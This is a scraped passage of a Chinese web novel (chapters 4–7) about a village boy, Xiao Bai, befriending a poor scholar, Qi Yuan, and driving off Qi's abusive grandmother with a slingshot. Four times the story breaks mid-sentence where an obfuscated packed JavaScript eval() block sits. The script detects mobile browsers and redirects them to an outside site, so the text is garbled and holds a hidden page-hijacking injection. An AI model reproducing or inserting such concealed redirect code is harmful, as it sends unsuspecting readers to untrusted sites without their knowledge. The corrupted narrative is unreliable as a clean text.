其实以前这一片地方并不叫上林村,因着一场洪灾过后几个村子合并到一起才有了如今的上林村,萧家住在上林村前头地势极好的地方,而齐家却是住在上林村最后面靠近庄稼地的地方,两家之间的距离多少是有些远的。 从自家阿娘口中听到一出陈世美的故事,萧白忍不住又想起少年那格外清瘦的身形,于是他在走出阿娘房间的时候,心里还在不住感慨着:可真是个漂亮的小可怜! 望见儿子晃晃悠悠走出房间的身影,棠悦在放下手中的衣服后,眼中闪过些许沉思的模样,丢掉书本主动蹭过来的萧青山重新一把搂住媳妇的腰:“想什么呢,你不会想着让齐家那小子给咱们白哥儿当上门女婿吧?” 棠悦转头白了整天就知道腻腻歪歪的丈夫一眼:“怎么,不行吗?” 这下萧青山是真有些分不清媳妇是在开玩笑还是来真的了,索性他将下巴搭在媳妇的肩窝里一起沉思起来,好一会儿后他猛地摇摇头:“不行、不行,那孩子看着就瘦瘦巴巴的样儿,也就一张脸长得稍微好看些,再说光他爹那副臭德行,谁能保证以后他能一直对咱们家白哥儿好!” 齐家穷得叮当响不重要,毕竟他们老萧家是要招上门赘婿的,但只要一想到齐原那个踩低捧高、一朝出息就抛弃糟糠妻的老爹,萧青山难得板着张脸直摇头:“不行,媳妇儿这事是真不行,咱家白哥儿脑子傻乎乎的,整天不是吃就是玩,而且那小性子还娇气得很,先不说齐原比白哥儿还小上两三岁,光他那个爹我就不能同意。” 萧青山越说越激动,甚至还已经在脑海中想象出,等他跟媳妇儿都老了,作为他家赘婿的齐原考取功名转头忘本就要跟白哥儿和离,下意识他抱着棠悦打了个寒战,真要是到了那种时候,自家傻乎乎的白哥儿怕是被剥掉层皮都不够。 父母爱子则为之计深远,丈夫说的那些并不是没有道理,无论萧青山还是棠悦都不可能拿自家儿子的将来去赌,所以棠悦也只是略一思考了下这种可能,毕竟谢盈娘主动让齐原那孩子过来家里送东西,肯定心里也是有这样打算的。 “行了、行了,你自己不也是个手无缚鸡之力的,这会儿倒是嫌弃上人家读书好的阿原了,大热天的不要腻在我身上,烦死了。”一把将嘻嘻歪歪的丈夫甩开,棠悦起身就要往外走。 上林村本就人口众多,好男儿仔细挑挑也不是没有,但愿意来萧家做上门赘婿的肯定就没几个了,这段时间她怎么都得帮儿子多挑挑、多看看。 萧白自然不知道在他走后阿父、阿娘又商量了些什么,这会儿他一手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775729|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提着从家里拿出来的炸幼蝉,一手拉着非要跟自己出来玩的杜小宝一起往后村的方向走。 杜小宝还没有到要去村孰上课的年纪,不过这小子打能到处跑开始就不是个能老实待着的性子,每天不是跟在自家小舅舅后头到处凑热闹,就是跟着几个同龄小伙伴到处乱窜。 听小舅舅提起后村那个叫齐原的哥哥,杜小宝一口一个炸幼蝉,抽着空才含含糊糊说道:“我听二牛提起过那个叫齐原的哥哥,大牛哥说齐原哥哥书读得特别好,就是性子很古怪,不管上课还是下课,从来不跟他们一起玩。” “啊,他不会是被那些同窗合伙欺负了吧!”听完杜小宝含含糊糊的讲述,萧白下意识抬手摸摸下巴,完全沉浸在自己的思考中。 上林村从前到后距离是真挺远,恰好萧白膝盖上又受了伤,一步一步踉踉跄跄走了好一会儿才到齐家门口。 现在距离午食还有一段时间,在快到齐家小院门口时,萧白忍不住歪着身体往人家院子里看了看,正好这个时候齐原端着老大一个木盆往外走,那木盆里面满是黑乎乎的泥水,看上去就很沉的样子。 见状萧白连忙往前快走几步,等到齐原跟前时他热情伸出双手:“需要我帮忙吗?” 见到萧家那个娇气的小哥儿出现在自家门口,齐原下意识呆愣了几秒,于是就在这短暂的几息功夫里,萧白已经非常自然将双手伸过去,跟对面的少年一起抬着那个很是厚重的木盆。 “为什么不倒在院子里,还得费那么大劲把木盆从院子里弄出来?”萧白好奇往齐家院子里多看了两眼,不过他也没能看出个究竟,便只好满眼好奇看向对面的少年。 手中沉重的木盆被小哥儿毫不客气分担去大半重量,齐原很是不自在地抿了抿唇,在萧白好奇目光看过来的时候,他才缓缓解释一句:“我家院子里没有铺石砖,倒了脏水难清理不说,也不方便走路。” 虽然只去过面前小哥儿家一趟,但齐原记得萧家院子里是铺满青石砖的,那样的院子无论晴天还是雨天,来来回回都非常方便,但齐家院子里却只是压平的泥土地,白日里打扫起来尘土飞扬不说,下雨天又会变得坑坑洼洼蓄满泥水。 听罢小哥儿眼中没有半分嫌弃,只是很自然地点点头,等齐原将那木盆里的水倒掉,他才冲着身边的孙小宝招招手,随即把自己从家中带来的炸幼蝉递过去。 在少年略显清冷的不解目光中,萧白伸手指了指后山的方向:“昨晚我和小宝去后山抓了不少幼蜩回来,今天阿公帮忙炸好的,你昨晚帮我找草药,我就想着带些过来给你尝尝味道。” 少年并没有第一时间伸手去接萧白递过来的东西,甚至他那双略显成熟、清冷的眉眼中,隐隐还透出几分不宜察觉的错愕以及不自在。 5. 第五章 见对方没有将自己手里的东西接过去,萧白眨眨眼下一刻恍然大悟般咧嘴笑起来:“你不会害怕这东西不能吃吧,其实不仅蝉蜕可以入药,幼蜩好好处理一下是很好吃的,不过听阿娘说盈娘婶婶身体不好一直有吃药,不知道会不会跟幼蜩相冲,让婶婶稍稍尝个味儿就是了,剩下那些你可以用来配着饼子下饭,味道真得很不错。” 小哥儿眉眼弯弯笑起来的时候整个人都显得格外明媚,齐原微微垂下眼眸依旧没有任何动作,那双略显清淡的眼眸里半点看不出蕴藏着怎样的情绪。 下一刻萧白已经主动拉过少年的手,随即飞快将小竹筐递过去,在齐原诧异的震惊目光中,小哥儿拉着身边小男孩的手转身就飞快跑远了。 大概是扯到膝盖处刚刚结痂的伤口,齐原甚至还隐约听见对方疼得又是一阵呲牙咧嘴,等人慢慢走远后他垂眸望着盛着不少炸幼蜩的小竹篮,下意识收紧了握住竹篮提柄的那只手。 萧白平日里虽然不说是个招猫逗狗的性子,那也没让家中长辈们省心过,这边刚刚走出齐家没多远,他扭头便思考起来今天要干些什么打发时间。 不过打发时间的法子还没想到,萧白扭头就看见一老一少正气冲冲往他们来时的方向走。 上林村可不是那种家家户户穷到吃不起饭的地方,像齐家这样孤儿寡母住到靠近农田的偏僻地方,不用想就知道里面肯定有内情。 萧白虽然不知道这里面具体有什么内情,但看那气冲冲从他们身边走过去的一老一少,便知道俩人肯定去者不善。 抬手在光洁的下巴上摩挲几下,下一刻萧白抬手在杜小宝头顶不轻不重拍了两下:“走着,咱们偷偷看热闹去。” “嘿嘿,好的嘞!”杜小宝完全可以说是萧白这个小舅舅看着长大的,尤其萧白还从来不会嫌弃杜小宝是个超级无敌幼稚的小屁孩,经常给他弄各种好吃的不说,还带着他到处凑热闹,所以只要见小舅舅眼睛提溜一转,杜小宝就能猜出小舅舅想去干什么。 舅甥俩悄摸摸跟紧前面那一老一少,还没等他们靠近齐家,便已经听到一阵嘹亮的骂骂咧咧。 “谢盈娘你个小贱蹄子赶紧出来看看,看看你都把齐原养成了个什么样的德行,阿生到底还是他亲堂弟呢,他都能在村孰把自家弟弟打成这样,简直就是有娘生没娘养的……”张春梅拉着自家乖孙还没进前儿媳妇家的院门,那张嘴已经毫不客气骂骂咧咧起来。 她这人素来算得上是整个上林村有名的泼妇,整天只想着占这个的便宜、占那个的便宜,容不得别人动她家的一粒米。 其实人稍稍吝啬些也没什么可指摘的地方,毕竟谁家的东西谁能不心疼,关键这老虔婆向来是个不讲理的,不管别人动没动她家东西,她那破嘴只要一张就是骂,骂得还贼难听。 齐老头跟张春梅一辈子就生了三个孩子,大儿子是齐原那没良心的爹,因为从小性子沉闷得很,一直都不怎么讨二老喜欢,反而老两口将二女儿和小儿子疼到了心尖尖上,小儿子给他们生的大乖孙那更是捧在手心怕摔了、含在嘴里怕化了。 齐家住的位置本就偏僻,张春梅更是不用怕村子里的人指摘她欺负前儿媳妇,见半天没人从屋里出来,她骂到吐沫横飞的时候简直是什么话难听就骂什么话。 堂屋里被阿娘死死拉住手臂的齐原冷沉着张脸,那双本就冷寂的眼眸里更是压制着浓浓的怒火,但为了不让阿娘担心,他只能微垂眼眸不让阿娘看到自己的脸。 骂了半天都不见有人从屋里出来,张春梅终于忍不住上前一脚踢开齐家半关着的大门:“谢盈娘你给老娘赶紧出来,大白天缩在屋子里怕不是跟村上哪家的汉子偷情呢,能干出这种脏事真不怕折了你儿子的寿,也难怪老大飞黄腾达把你休了连孩子都没要,齐原说不定压根就不是我们老齐家的种……” 谢盈娘向来都是个好脾气的,之前丈夫还没寄来和离书时,为了儿子她在齐家那头便一直任劳任怨,闷头干着婆婆压在她身上的所有活计,甚至婆婆三天两头在外面抹黑她的名声,她也从来不会说出反驳半句话,只是她能忍受那些委屈,却不能让阿原也被亲奶奶指着鼻子各种辱骂。 听着张春梅越说越过分,谢盈娘忍不住想要起身去理论,但一时气血上头她嗓子干痒得厉害,尚未吐出半个话音便只能捂住胸口剧烈咳嗽起来。 这几日她的病情是越发严重了,眼下受了气剧烈咳嗽的时候简直要把心肝肺都咳出来。 眼见着阿娘的脸色越发难看,齐原素来沉寂的眉眼中满满都是焦急,伸手赶紧倒了小半碗温水让阿娘喝下去,他转身又匆忙去阿娘房间将药瓶拿出来。 连着两颗药吃下肚,谢盈娘的脸色还是依旧苍白得厉害,好在咳嗽得不像方才那么激烈。 张春梅已经走到齐家院子里继续骂骂咧咧,齐原这次再不顾阿娘的阻拦,三两步便从堂屋里走出去。 就在齐原刚刚踏出堂屋大门的那一刻,张春梅拉着她家乖孙突然脚下一个踉跄,直直给前面不远处身材格外清瘦的少年郎跪了下去。 看见有小石子滚在院中还没干透的泥泞中,齐原下意识抬头往院门口那边看了一眼,但这会儿院门口什么人都没有,倒是院门斜前方那棵大树上正站着个眉眼莹莹的小哥儿。 见齐原朝自己看过来,萧白毫不客气得意晃了晃自己平时挂在腰间的弹弓,因为这个多少带着些炫耀的小动作,他身影不稳地在大树上微微摇晃两下。 几乎下意识齐原往前踏出一步,但那大树上的小哥儿已经站稳并缩进夏日里格外茂密的枝叶间。 舅甥俩这会儿其实都缩在那棵大树上呢,也不知道是杜小宝个头太矮还是其他什么原因,齐原只以为是小哥儿独自一人爬到了大树上,眼下他微微垂眸只冷眼看着刚从地上狼狈爬起来的张春梅和齐生。 齐生虽然说是齐原的堂弟,但因为从小到大吃得好、喝得好,光看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775730|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身形可比齐原这个没长辈疼爱的堂兄健硕多了,真不知道张春梅个老虔婆是怎么觉得自家乖孙会被齐原打的。 压根没察觉到自己方才是被人用弹弓攻击才摔倒,张春梅越发认为齐原跟他屋里那个病秧子娘就是他们全家人的克星。 不过今天她可不是为了坐实齐原灾星的名头而来,转身她把自家乖孙推到前面,然后满眼心疼指着齐生脸上还没手指印大的红痕:“不知道你哥哥身子弱吗,我看你真是被谢盈娘养歪了性子,小时候能殴打自己亲哥,长大以后还不知道能做出什么事……” 张春梅一顿唾沫横飞的输出还没骂完,外头大树上杜小宝又将两个石子递到自家小舅舅跟前,萧白将石子接过去微微咧着嘴再次瞄准齐生腿弯的方向:“小宝可看好了,你家小舅舅百发百中的名头可不是吹的——” 说着萧白干脆趁张春梅心疼将孙子往前推时,倏地松开手中蓄势待发的弹弓,腿弯那种极为脆弱的地方被猛猛攻击一下,齐生受不住疼膝盖一软再次跪下去。 刚好原本站他面前的齐原往后退了两步,他这次可不就稳稳给齐原跪了个大的,瞬间齐生懵了,连站在后面的张春梅也懵了。 在张春梅一口一个心肝宝贝,伸手急匆匆将齐生扶起来的短暂时间里,齐原微不可察动了动脚尖,将小哥儿遥遥射过来的石子踢到旁边的水汪里。 虽然齐原准头没有大树上小哥儿那么准,胜在距离很近,无论张春梅还是齐生压根没察觉到他刚刚的那番小动作。 今天真是见鬼了,张春梅也怀疑是不是谁在外头使坏,但转身到处看了又看,她是一点可疑的发现都没有。 这次赶在张春梅开口说话前,齐原冷冷道:“齐生在村孰里跟谁打架了我不知道,我只知道如果他这次小考成绩再那么差,夫子绝对会把他从村孰赶出去。” 齐家上上下下几口子可都指望着齐生,也能跟他大伯一样考取功名带着家人享福呢,齐原这话一说出口,张春梅立刻变了脸色:“你个小畜生诅咒谁呢,就是你被夫子赶出村孰,我们阿生也不会被赶出去!” 说着张春梅抬起巴掌就要往齐原脸上甩,看她那熟练到不能再熟练的动作,便知道以前她没少打骂齐原,说时迟那时快,又一颗小石子稳稳射过来,张春梅手肘处一阵剧烈酸痛,那将将甩出去的巴掌直接拐了个弯打到自己脸上。 当然被卸了力的巴掌有胜于无,只是当着两个孩子的面,张春梅是里子没了面子也没了。 如果说这里面没有猫腻张春梅怎么都是不信的,但关键就在于她找不到藏在暗处搞这些猫腻的人,又怕在这边继续待下去会被整得更惨,索性她又一阵骂骂咧咧扭头赶紧拉着宝贝孙子就往外面走。 等张春梅拉着自家乖孙落荒而逃走出去老远,藏在大树枝叶间的萧白才终于又冒出个头,对上院中少年郎看过来的视线后,他骄矜又得意抬了抬下巴,一双弯弯的眼眸里满满都是狡黠的笑意。 6. 第六章 遥遥望着小哥儿那独特又灿烂的笑容,齐原略显愣怔地站在原地没有半点动作,只那双略显狭长的清冷眉眼中微微闪烁两下。 “阿原,她们已经走了吗?”久久听不到外面有什么动静,哪怕知道自己这样糟糕的身体不应该出去拖儿子的后腿,但谢盈娘实在太过担心,便只能扶着门框缓缓走出来。 在谢盈娘从堂屋里走出来的瞬间,萧白便已经拉着身旁的小宝一前一后从大树上无比熟练地爬下去,弹弓被重新放回腰间特制的货郎包里后,萧白伸手摸了摸满眼羡慕的杜小宝圆溜溜的脑袋瓜:“小舅舅是不是很厉害!” 杜小宝一双晶亮的大眼睛里满满都是敬佩,小嘴一张叭叭的就是各种完全不带半点重复的彩虹屁,只把萧白夸得都要膨胀上天了:“放心、放心,小舅舅可不是你阿父那样说话不算话的人,只要你今年能成功进到村孰,小舅舅就找材料给你做个更好的弹弓。” 萧白像自家小外甥这个年纪也是进过村孰的,虽说他是小哥儿,一方便萧家束脩给得非常大方,另一方面上林村村长和里正可都是小哥儿亲亲的长辈,夫子哪里会说一个不字。 关键小哥儿跟他那个阿父一样不争气啊,一到听课的时间点不是这不会那不会,就是趴在桌子上呼呼大睡,最后夫子觉得自己实在不能挣那个亏心钱,可不就把萧白给“请出”村孰了。 从齐家那边回来刚好家里已经做好午食,萧白拉着小宝兴冲冲刚跑进厨房,就一股浓郁的香味儿铺面而来:“阿父今天做了什么吃的,可真香!” “你们舅甥俩大晌午不在家,又跑去哪里耍了,看看这一身弄得脏兮兮的样儿?”抬眼刚从两个小的身上扫过,棠悦的视线立刻牢牢盯住舅甥俩身上的绿叶子,当即她温柔的眼眸中就带上几分严厉,“萧白,你是不是又带小宝爬树去了,说过多少遍不要去爬树,从树上摔下来身边再没什么人看到,你俩要怎么办!” 阿娘刚将嗓门提高一些,萧白立刻条件反射似的缩了缩脖子,经常犯错的人滑跪速度就是快,小宝愣在原地多少还有些没反应过来,他家小舅舅已经垂下脑袋恹恹认错。 “看这一身弄的,把你阿娘惹生气了吧,怎么一点都不知道长记性呢。”纪老太象征性揪了揪两小只的耳朵,但一对上舅甥俩如出一辙可怜巴巴的小眼神,小老太毫不犹豫就改了话音,“好了、好了,赶紧回房把自己收拾干净,下次等着开饭还没回家就不给你俩饭吃了。” “嘿嘿,阿娘、阿奶真好。”黏黏糊糊在自家阿娘和阿奶身边蹭了蹭,直把自己一声脏兮兮的灰尘都快要蹭到两人身上了,萧白转身拉上杜小宝才赶紧回房把自己收拾干净。 地里的麦子刚刚收完就又一场倾盆大雨哗啦啦落下来,闲来无事又不能出去给自己找乐子的萧白只能趴在窗户边低头望着院中的水洼,整个人看上去完全一副懒洋洋的状态。 要被棠悦看到自家儿子这幅不着调的德行,估计多少都要说上几句,毕竟任谁家哥儿能比小子还站没站相坐没坐相。 用手中不知道从哪里捡来的小木棍一下又一下戳着屋檐下的水汪,萧白忍不住抬眸往阿奶、阿娘屋子的方向看去。 这段时间他阿奶、阿娘不知道神神秘秘筹划着什么,反正俩人看起来可比平时忙太多了,每次萧白想上去问问带弟什么情况,都会被婆媳俩很有默契地转开话题。 以萧白没那么敏锐的直觉来看,阿奶和阿娘绝对有事瞒着他,这个事极大可能还是跟他有关系的。 这样想着萧白稍微挑了下眉梢,转头他麻溜从屋子里偷溜出去,眼看着住在他家后排的张婶子带孩子来家里找阿娘唠嗑,小哥儿在稍微压低声音吹了个口哨后,立刻冲朝发出声音这边看过来的皮肤黝黑的少年招招手。 张永安在扭头看到小哥儿的瞬间,一双稍显木讷的眼眸都比平时更多了些不一样的光彩,下意识他回过身先看了眼自家阿娘,在得到阿娘的同意后,立刻拔腿往小哥儿所在的方向跑过去。 一看自家儿子那副不值钱的兴奋样儿,张婶子无奈摇摇头的瞬间又有些不太开心,不得不说萧家是很疼萧白这个哥儿,甚至还那么大张旗鼓给萧白招上门婿。 但萧白这哥儿也是她看着长大的,挺知礼懂进退一孩子,独独有些被萧青山跟棠悦宠得过于娇气,张婶子家里有两个儿子,想着自家永安要是实在喜欢萧白,就算做了萧家的上门婿也没太大干系,只是如今看着儿子那副不要钱的殷勤样,她心里又有些不是滋味。 萧白可不知道张婶子心里做着怎样的打算,看到张永安朝自己这边一路小跑过来,他忙将人带到外头柴火垛前的空地处:“快说、快说,你跟你阿娘来我家干嘛呢,我阿奶跟阿娘最近总是神神秘秘的!” 夏日的天气总是这样说下就下、说晴就晴,刚刚萧白还饶有兴致在窗边看雨,这会儿天边又已经开始慢慢放晴。 天边略显酡红的光线落下来,将小哥儿一张本就白皙精致的脸蛋衬得越发明媚,张永安缓缓抬起头有点想看又不敢看,于是他整个人就更多了几分和平时不太一样的别别扭扭。 平时的张永安可不是现在这幅扭捏德行,萧白越来越觉得不太对劲,干脆稍微压低了点儿声音,举起拳头在张永安眼前晃了晃:“快说,你们是不是有什么大事瞒着我?” 张永安跟小哥儿是在同年出生的,加上萧白更小些的那会儿,妥妥就是个“一呼百应”的孩子王。 那时大家也没什么男孩、女孩、哥儿的忌讳,跟在萧白后头听着比镇上说书先生说得还好听的话本,再对上萧白时恨不得一口一个“老大”,所以萧白自然也只将张永安及其他小孩当成自己的跟屁虫小弟。 结果萧白这边拿拳头威胁着张永安,张永安小心翼翼抬头看着小哥儿满是威胁的眉眼,却觉得白哥儿真真是他们上林村最可爱的人了。 虽然阿娘说过最好不要将萧家要给白哥儿招婿的事情说出来,但对从小到大压根不在白哥儿面前说谎的张永安而言,似乎说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775731|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来也没什么大问题,毕竟他跟白哥儿眼见着越来越大,如果白哥儿对他有意岂不更是好事一桩。 于是在萧白灼灼目光的注视中,张永安略一思考过后,张张嘴刚想将自己想做萧家赘婿的事情说出来,身后却响起一阵轻微的脚步声。 在听到那阵脚步声后,萧白下意识抬头往前看过去,随即便望见一个清瘦少年郎正提着个小竹篮朝这边走来,他一双圆溜溜的大眼睛在落到少年郎身上时明显更多了些惊艳和灼热。 “阿原、阿原,你是过来找我的吗?”少年今天似乎穿了身新衣服,哪怕只是非常普通的粗布麻衣,但那清清浅浅的月牙灰蓝却将他整个人衬得更加长身玉立。 齐原如今也不过刚刚十岁的年纪,上林村寻常同龄男孩这会儿还整日混在村子里招猫逗狗,他却隐隐有了些读书人的气质,既漂亮又矜贵,只多少有些太过清瘦了。 微微抬头再次对上那双格外晶亮的眼眸,齐原下意识稍稍握紧了些手中的小竹篮,随后才又看到站在小哥儿身边那个皮肤黝黑的人。 只稍稍抿了抿唇,齐原方伸手将那个小小的竹篮递过去:“我过来给你送东西。” 那小竹篮看着就不是家里大人编的,格外简陋的编织方式自然也不会是从镇上买来的,齐原略带薄茧的手将竹篮举到小哥儿面前,衬得那小竹篮越发像是小孩子胡乱倒腾出来的瑕疵品。 编织竹篮可不是个什么轻松活计,萧白在自个儿家里又一向是被娇宠着的那个,纪老太和萧老头别说让自家乖孙编织什么小竹篮了,就连让孩子洗个衣服二老都是会心疼的。 主要有段时间萧白跟阿父去镇上玩,一眼就看中人家用竹子编织的蹴鞠小人,萧青山要给他买,小哥儿还一百一千个不乐意,非突发奇想要自己动手做。 听人家老板说锻炼编织手艺都是先从小竹篮来的,萧白跟着就要编竹篮练手艺,只是他这人惯来三分钟热度,只编了这么个让人不忍直视的小篮子,剩下那些处理好的竹子就都到萧青山手上。 想到这里萧白望着少年递来的竹篮,莫名就有些面红耳赤,不过他惯来是个脸皮厚的,在抬手稍微揉了把泛着些热度的耳朵后,便满眼期待直勾勾盯着对面的齐原。 被小哥儿灼灼的目光盯着,齐原几乎瞬间就明白过来对方的意思,稍微抿了抿唇后他还是低声称赞一句:“炸幼蜩很好吃。” “是吧、是吧,我跟你说别看幼蜩长得很丑,其实不仅美味还很补身体的。”在吃食上面萧白敢称第二,整个上林村就没人敢称第一,他得意微微抬起下巴,又抬手在齐原肩膀上轻轻拍了拍,“以后跟着白哥混,白哥肯定时常带你吃香喝辣。” “阿白,你又在这儿哄小孩呢!”萧白虽然刚认识齐原没多久,张永安这个隔三差五就要被阿娘押进村孰的人却对齐原格外了解。 哪怕他最是清楚阿白逢人就笑的好性子,但这会儿看到萧白跟齐原站到一处,张永安心里仍旧莫名有些高兴不起来。 7. 第七章 张永安话音不过将将落下,站在小哥儿对面的齐原便微不可察抬眸往对方身上扫过一眼,只是他看过去的视线不过一瞬之间,在场并没有任何人有所察觉。 突然被那么打趣一句,要是以前萧白肯定会装聋作哑当没听到,但这会儿他担心刚认的“小弟”会对自己抱有什么怀疑的态度,忙熟稔抬起胳膊肘毫不客气往后戳了下张永安的肚子:“你小子要是不会说话,可以把嘴巴牢牢闭上。” 张永安茫然眨了眨眼,完全不知道自己说错了什么话,只想着白哥儿是因为齐原对他生气,他心里自是更加不开心起来。 萧白是真没注意到张永安心里那点儿小九九,抬眸望见齐原定定往他们这边看过来,略一思考过后他再次抬手拍了拍少年郎的肩膀:“阿原不用羡慕这小子,以后你也可以多过来这边,哥哥一定经常带你出去玩。” 说着萧白顺势就伸着手臂熟稔搭在齐原肩膀上,完全是刚刚跟张永安勾肩搭背一模一样的姿势,齐原微微扭头望着小哥儿热烈的笑脸,在微微感受到对方的呼吸时,他一双耳根不易察觉泛起了点点红晕。 像是突然想起了什么,萧白非常体贴只跟少年郎勾肩搭背几息功夫,随即往后退个两步想让齐原可以更加自在些,毕竟对方看起来就不是什么自来熟的性格,怕是自己过于热情是会把人吓到了。 比自己略微高上一点点的体温倏地挪开,齐原很是知礼向张永安点点头算是打了声招呼,随即才又重新看向萧白:“我先回去了,谢谢你送的炸幼蜩,也谢谢你上次的帮忙。” 知道少年郎指的是上次他在树上那弹弓射张春梅和齐生的事情,萧白非常体贴又神秘冲着齐原狡黠眨眨眼:“不用跟哥客气,以后再遇到那种事情可以过来请我帮忙。” 小哥儿前面似乎还是在开玩笑,后面半句话却说得极为认真,齐原抬眸注视着对方稍显复杂的眼眸,却没有继续说些什么,而是在稍稍点头后转身便往回走。 “阿白,你上次帮了他什么,怎么搞得一副神神秘秘的样子?”张永安实在太过好奇,齐原不过刚刚离开他就立刻凑到萧白面前,俨然一副打破沙锅问到底的架势。 狐疑盯着张永安看了几眼,在张永安有些不太自在的目光中,萧白伸出一根手指戳着对方的额头往后推:“我怎么不知道你什么时候好奇心这么重了,人家的私事你也要问,多冒味啊!” 平时最喜欢打破砂锅问到底的人突然说自己冒昧,张永安有些怀疑自我地摸了摸下巴,等他终于反应过来白哥儿又在倒打一耙,刚想上前替自己理论一番,但小哥儿拔腿早就跑远了。 折腾来折腾去自己最想问的问题反而被抛到了脑后,不过萧白眼下对阿奶和阿娘到底在搞什么猫腻已经没那么好奇了,毕竟一场大雨过后没多久,地里便又要开始忙活起来,萧白眼下对地里的活倒是生出几分浓厚的兴趣。 上辈子萧白大学学的就是农科,只是从呱呱坠地到现在的十一二年里,他已经不受控制遗忘了很多、很多上辈子发生过的事情,只在农科上面他仍抱着颇为浓厚的兴趣。 甚至有段时间他还很想问阿父要一小块地自己捯饬,但土地就是农家人的根本,即便家里人再怎么宠溺孩子,也不会真让萧白在这上面瞎折腾。 对此萧白完全没有任何撒泼打滚非得要到一块地的意思,毕竟自家院子后头就有一小块菜地,他完全可以先在那上面折腾些小实验。 只是那跟自家几十、上百亩良田还是没法比的,于是萧白只能趁着农忙的时候,死皮赖脸跟在阿公、阿父后头凑热闹。 就凭齐原亲爹那抛妻弃子的架势,齐家肯定是不可能给齐原和谢盈娘分一点点地的,所以每到农忙的时候,娘俩也极少会出现在村子里的地头上,只是因为家里拮据到实在快要吃不起饭了,在身体稍微好上些后,谢盈娘便“背着”儿子跟在村上几位婶娘后头过来给萧家帮忙。 豆种播进地里也是极有讲究的,那边大人们已经热火朝天忙起来,被留在地头乘凉的萧白却有些耐不住性子,他随手抓了把经过翻耕而稍稍松散些的泥土,好一会儿后突然望着远处开始沉思起来。 这个时代翻耕土地靠得还是格外笨重的犁头,一天忙活下来人都快要累散架了,如果犁头能稍稍改进些,大家伙儿不至于那么累的同时,也能加快一下农忙的进程。 想要改进犁头只是脑袋中一闪而过的念头,真正实施起来绝对是件颇为艰难的事情,对萧白这样略显慵懒和摆烂的人而言,实在有些太过为难人了。 偏偏是在这样的前提下,改进犁头的想法依旧在萧白脑海中来回飘荡,直到他从地上随意捡起一块石子,就着松散的土地一通乱画。 村孰夫子家的地正好也在附近,因着各家都在农忙,夫子干脆给村孰的孩子们都放了好几天假期,这会儿那些孩子几乎都在各家的地里或忙罗或捣乱,只有齐原在夫子家的地里挥汗如雨。 偏偏在这样的情况下,齐家老老少少从夫子家的地头上路过,看见齐原和谢盈娘母子俩分别在夫子家和萧家的地里忙活,一张嘴就开始冷言冷语、夹枪带棒起来。 偏偏张春梅向来是个大嗓门的,她上回在前儿媳妇家里吃了个大憋,眼见现在压根没人会帮齐原讲话,她自然一张嘴又骂骂咧咧起来。 地里本身就非常空旷,张春梅骂骂咧咧的大嗓门能从这点的地头传到那边的地尾,坐在自家地头冥思苦想的萧白被闹得脑瓜子一阵嗡鸣作响,扭头他就毫不客气冲着张春梅大声道:“阿公、阿父,谁家狗怎么牵到地里来了,吵得我脑瓜子嗡嗡响。” 小哥儿这么毫不客气一开口,原本边饶有兴致听着张春梅骂街,边闷头忙活自己事情的大家伙儿立刻将注意力落到齐家一大家子头上,甚至大家伙儿哈哈大笑着的同时还交头接耳“窃窃私语”起来。 说是“窃窃私语”,实际上大家说了些什么齐家人是听得一清二楚,于是一群又气又恼的家伙先是瞪了眼“没大没小”的萧家哥儿,随后更是气恼望着非要没事找事的张春梅。 张春梅心里那叫一个又气又恼,偏偏一大家子都颇为羞愤朝她看过来,她是想骂些什么都骂不出门,最后还是向来喜欢装聋作哑的齐老头喊了声“赶紧走,还不够丢人的”,她才涨红着张脸跟在一大家子后面灰溜溜离开。 “一条会叫的狗跟一群装聋作哑却暗暗挑事看热闹的黄鼠狼,看来齐家阿奶也只能嚣张给外人看,那折腾来、折腾去到底图什么呢!”望着齐家人多少有些落荒而逃的背影,萧白悠哉悠哉往身后田垄上一靠,仰头望着今日难得没那么炽热的天空发起呆来。 而跟小哥儿有一段距离的夫子家田地里,齐原木着张脸继续干手上的活计,连掌心持续磨出好几个水泡都没能让他停下片刻,只在大家已经全然收回心神继续忙碌着的时候,他才稍稍抬眼往萧白所在的方向看过去。 这会儿小哥儿正伸手挠着脖颈的位置,看上去用的力道还不小,应该是刚刚背靠在田垄上的时候被什么虫子咬到了,只微微垂头的片刻功夫里,齐原便忍不住想起那晚小哥儿磕破一点膝盖就眼泪汪汪的场景, 这次被虫子咬狠了,小哥儿应该也是会哭的吧? 齐原在脑海中这样想着,一双并没有太多外露情绪的眼眸却忍不住往后山瞥了一眼,他记得山上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 